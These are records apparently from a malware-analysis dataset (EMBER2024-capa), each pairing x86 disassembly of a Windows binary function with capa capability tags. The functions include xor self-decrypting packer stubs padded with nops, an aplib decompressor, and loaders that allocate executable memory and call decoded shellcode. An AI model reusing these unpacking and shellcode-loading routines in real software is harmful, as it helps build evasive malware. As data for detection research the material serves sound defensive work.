joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4072ad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bc7c], 0
jne 0x4072eb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072c1
mov dword [ecx*4 + 0x46bc78], eax
inc ecx
cmp ecx, 0x100
jl 0x4072bc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407318
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bc78]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072f9
not eax
pop ebp
ret 0xc

Function at 0x4260f8
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0042617b
jae 0x426106
xor ecx, ecx
call fcn.0042617b
jae 0x426135
xor eax, eax
call fcn.0042617b
jae 0x426145
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0042617b
adc al, al
jae 0x426127
jne 0x426171
stosb byte es:[edi], al
jmp 0x426109
call fcn.00426187
sub ecx, ebx
jne 0x42614e
call fcn.00426185
jmp 0x42616d
lodsb al, byte [esi]
shr eax, 1
je 0x426197
adc ecx, ecx
jmp 0x42616a
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00426185
cmp eax, 0x7d00
jae 0x42616a
cmp ah, 5
jae 0x42616b
cmp eax, 0x7f
ja 0x42616c
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x426109
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret
Function at 0x40b609
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x40b6dd
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x87e174], 0x319
jne 0x40b6c5
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.0040ac72
add ebx, 8
dec dword [ebp - 0xc]
jne 0x40b627
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x40b6e9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push ebx
push esi
push edi
push 0x401470
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401480
push eax
mov dword [0x8164d4], eax
call esi
push 0x40148c
push dword [0x8164d4]
mov dword [0x8164cc], eax
call esi
push dword [0x87e174]
xor esi, esi
push esi
mov dword [0x8132ac], eax
call dword [0x8164cc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x87e174]
mov dword [0x8132c4], eax
push eax
call dword [0x8132ac]
xor edi, edi
cmp edi, 0x85b4
jge 0x40b761
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
cmp edi, 0x11c825e
jg 0x40b786
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x40b753
jg 0x40b786
cmp eax, 0xd69e5f85
jb 0x40b753
mov eax, dword [0x415724]
mov dword [0x87e178], eax
xor eax, eax
cmp dword [0x87e174], esi
jbe 0x40b7b9
mov ecx, dword [0x87e178]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x8132c4]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x87e174]
jb 0x40b79a
xor edi, edi
mov eax, dword [0x87e174]
add eax, edi
cmp eax, 0x5e
jne 0x40b7f6
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
lea eax, [ebp - 0x834]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
inc edi
cmp edi, 0xa69b
jl 0x40b7bb
mov edx, dword [0x87e174]
mov ecx, dword [0x8132c4]
push 0x415008
call fcn.0040b609
xor eax, eax
cmp eax, 0x59d8
jne 0x40b828
mov ecx, 0x8132c4
call fcn.0040b6e2
inc eax
cmp eax, 0x356d83
jl 0x40b817
push 0x7b
pop ebx
cmp dword [0x87e174], 0x54d
jne 0x40b870
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x40149c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x40b833
mov eax, dword [0x8132c4]
mov dword [0x8164dc], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b884
Capabilities:
Create thread
Get disk size
Get hostname
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x67c
cmp dword [0x87e174], 0x598
push ebx
push esi
push edi
jne 0x40b906
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x4014ac
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
push 0x4014bc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor eax, eax
mov dword [ebp - 0x28], ebx
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push ebx
call fcn.0040c3d7
push ebx
push ebx
push ebx
call fcn.0040c1b5
add esp, 0x10
call fcn.0040c014
push ebx
call fcn.0040bf7c
mov esi, 0xa4808
xor ebx, ebx
cmp dword [0x87e174], 0x57c
jne 0x40b9a1
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0x30
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call fcn.0040c450
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x67c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x27c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
dec esi
jne 0x40b90d
mov esi, dword [0x4166d4]
add esi, 0xb2d3b
mov eax, 0x4187e0
mov dword [0x87e174], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b9c2
sub eax, edx
cmp eax, 0x1515
jne 0x40ba42
cmp esi, 0x18
jne 0x40ba08
push ebx
push ebx
push ebx
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push ebx
call sub.KERNEL32.dll_GetSystemPowerStatus
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x87e174]
cmp esi, 0x9e6
jne 0x40ba2c
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
call fcn.0040bc12
push ebx
push ebx
call fcn.0040bb83
push ebx
call fcn.0040c3d7
add esp, 0x10
call fcn.0040b6e9
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x40c8d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417a6c]
jne 0x40c8e3
repz ret
jmp fcn.004103c5

Function at 0x41167f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d35b
and dword [ebp - 4], 0
cmp dword [0x87ec5c], 0
mov ebx, eax
jne 0x411730
push 0x402d0c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4117e1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402d00
push edi
call esi
test eax, eax
je 0x4117e1
push eax
call fcn.0040d2e9
mov dword [esp], 0x402cf0
push edi
mov dword [0x87ec5c], eax
call esi
push eax
call fcn.0040d2e9
mov dword [esp], 0x402cdc
push edi
mov dword [0x87ec60], eax
call esi
push eax
call fcn.0040d2e9
mov dword [esp], 0x402cc0
push edi
mov dword [0x87ec64], eax
call esi
push eax
call fcn.0040d2e9
pop ecx
mov dword [0x87ec6c], eax
test eax, eax
je 0x411730
push 0x402ca8
push edi
call esi
push eax
call fcn.0040d2e9
pop ecx
mov dword [0x87ec68], eax
mov eax, dword [0x87ec68]
cmp eax, ebx
je 0x411788
cmp dword [0x87ec6c], ebx
je 0x411788
push eax
call fcn.0040d364
push dword [0x87ec6c]
mov esi, eax
call fcn.0040d364
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x411788
test edi, edi
je 0x411788
call esi
test eax, eax
je 0x41177f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41177f
test byte [ebp - 0xc], 1
jne 0x411788
or dword [ebp + 0x10], 0x200000
jmp 0x4117c1
mov eax, dword [0x87ec60]
cmp eax, ebx
je 0x4117c1
push eax
call fcn.0040d364
pop ecx
test eax, eax
je 0x4117c1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4117c1
mov eax, dword [0x87ec64]
cmp eax, ebx
je 0x4117c1
push eax
call fcn.0040d364
pop ecx
test eax, eax
je 0x4117c1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x87ec5c]
call fcn.0040d364
pop ecx
test eax, eax
je 0x4117e1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4117e3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x15a328fc
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2a491906
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x42e529
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x40
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.0042e480
add esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x42e558
mov eax, 0xea61
jmp 0x42e5d6
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x3c], 0
jne 0x42e568
mov eax, 0xea62
jmp 0x42e5d6
push 0xf8
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
call fcn.0042e480
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x4550
je 0x42e595
mov eax, 0xea62
jmp 0x42e5d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 4]
cmp ecx, 0x14c
je 0x42e5ad
mov eax, 0xea65
jmp 0x42e5d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x16]
test ch, 0x10
je 0x42e5c2
mov eax, 0xea66
jmp 0x42e5d6
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x74], 0x10
jbe 0x42e5d2
mov eax, 0xea67
jmp 0x42e5d6
xor eax, eax
jmp 0x42e5d6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x408947
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop eax
push 0xc2a866dd
pop ecx
call fcn.00408972
or edi, ecx
sub esp, 4
mov dword [esp], ecx
mov edi, dword [esp]
add esp, 4
xor dword [esi], eax
inc esi
and edi, ecx
add ecx, ecx
cmp esi, ebx
jne fcn.00408947
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403e59
pop dword [ebp - 0x4c]
mov eax, 0x7109e457
add eax, 0x8f365a02
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xedb9ebc0
sub dword [ebp - 0x5c], 0x9f67a675
mov dword [ebp - 0x58], 0x305fbf05
add dword [ebp - 0x58], 0x1d38d40
mov dword [ebp - 0x54], 0xb06504fa
add dword [ebp - 0x54], 0x9be73f34
mov dword [ebp - 0x50], 0xb1ac467e
sub dword [ebp - 0x50], 0xb1ac467e
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xb7fcb715
sub eax, 0xb7bc46b1
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x3ef2c3d2
sub dword [ebp - 0x5c], 0xca805a7c
mov dword [ebp - 0x58], 0x2b75e22e
add dword [ebp - 0x58], 0x15f67f47
mov dword [ebp - 0x54], 0x84e6da3d
sub dword [ebp - 0x54], 0x21776dd1
mov dword [ebp - 0x50], 0x8e26fbb6
add dword [ebp - 0x50], 0x71d9044a
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xf316a54f
sub eax, 0xf2d634a7
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e469
push 0
call eax
mov ecx, 0x661d
mov edx, eax
mov edi, 0x410000
add edi, dword [ebp - 0x4c]
mov esi, 0xca9c4cbd
add esi, 0x7826f446
add dword [ebp - 0x3c], 0x3e31fa7b
mov ebx, dword [edi]
sub dword [ebp - 0x38], ebx
add ebx, esi
add dword [ebp - 8], 0xaa47fd63
mov dword [edx], ebx
xor dword [ebp - 0x18], 0xd28d1cb9
add edx, 0x12eaa59a
add edx, 0xed155a6a
add edi, 0xe8f6fb1a
add edi, 0x170904ea
loop 0x403f6f
add eax, 0x98921987
add eax, 0x676f71c0
mov ebx, eax
add eax, 5
mov ecx, 0xf23a0d9e
add ecx, 0xe05f262
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x42105f
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x44e8a8
call fcn.00422e90
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x420f16
xor ebx, ebx
jmp 0x420f49
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x420f12
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x420f12
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x420f49
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004279ab
test eax, eax
jne 0x420f5d
push 0x1c
call main
pop ecx
call fcn.00427918
test eax, eax
jne 0x420f6e
push 0x10
call main
pop ecx
call fcn.00428296
and dword [ebp - 4], 0
call fcn.004279c0
test eax, eax
jns 0x420f88
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov dword [0x457adc], eax
call main
mov dword [0x455a24], eax
call main
test eax, eax
jns 0x420fae
push 8
call main
pop ecx
call fcn.00427eb1
test eax, eax
jns 0x420fbf
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x420fd2
push eax
call main
pop ecx
call fcn.00428714
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x420ff4
push esi
call main
call fcn.00426cd7
jmp 0x421029
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00422ed5
ret
call main
jmp 0x420ee8

Function at 0x436ff3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x437002
pop dword [ebp - 0x30]
mov eax, 0x3aad2014
sub eax, 0x3a69b012
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xa508265a
add dword [ebp - 0x40], 0xa94a1ef1
mov dword [ebp - 0x3c], 0xefb76ab3
sub dword [ebp - 0x3c], 0xbd841e6e
mov dword [ebp - 0x38], 0x94ed2412
add dword [ebp - 0x38], 0xb75f201c
mov dword [ebp - 0x34], 0x7e275c85
sub dword [ebp - 0x34], 0x7e275c85
lea eax, [ebp - 0x40]
push eax
mov eax, 0x48203a1d
sub eax, 0x47dc77f1
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xa095ba63
add dword [ebp - 0x40], 0xd3dcaef3
mov dword [ebp - 0x3c], 0xbaed9353
sub dword [ebp - 0x3c], 0x798131de
mov dword [ebp - 0x38], 0x61d1f3fb
sub dword [ebp - 0x38], 0xfe62878f
mov dword [ebp - 0x34], 0xdb58b325
add dword [ebp - 0x34], 0x24a74cdb
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x4d85a82e
add eax, 0xb2be1ac2
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x43d2b
push 0
call eax
mov ecx, 0x5b1371c7
sub ecx, 0x5b13321b
xor edx, edx
add edx, eax
mov esi, 0x74ec0cde
add esi, 0x8b5b4922
add esi, dword [ebp - 0x30]
mov ebx, 0xaddc5bd9
mov edi, dword [esi]
add dword [ebp - 8], 0x1514f036
xor edi, ebx
xor dword [ebp - 0x20], ecx
mov dword [edx], edi
xor dword [ebp - 8], 0xa9f781ab
add edx, 0x17799b57
sub edx, 0x17799b53
add esi, 0x8a3a86c8
add esi, 0x75c5793c
loop 0x437120
add eax, 0xf183
mov ebx, eax
add eax, 0x52fe3915
add eax, 0xad01c6f0
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x7d1e7dd9
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x190317b2
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x27d72a73
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x436a4d03
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
jmp 0x431219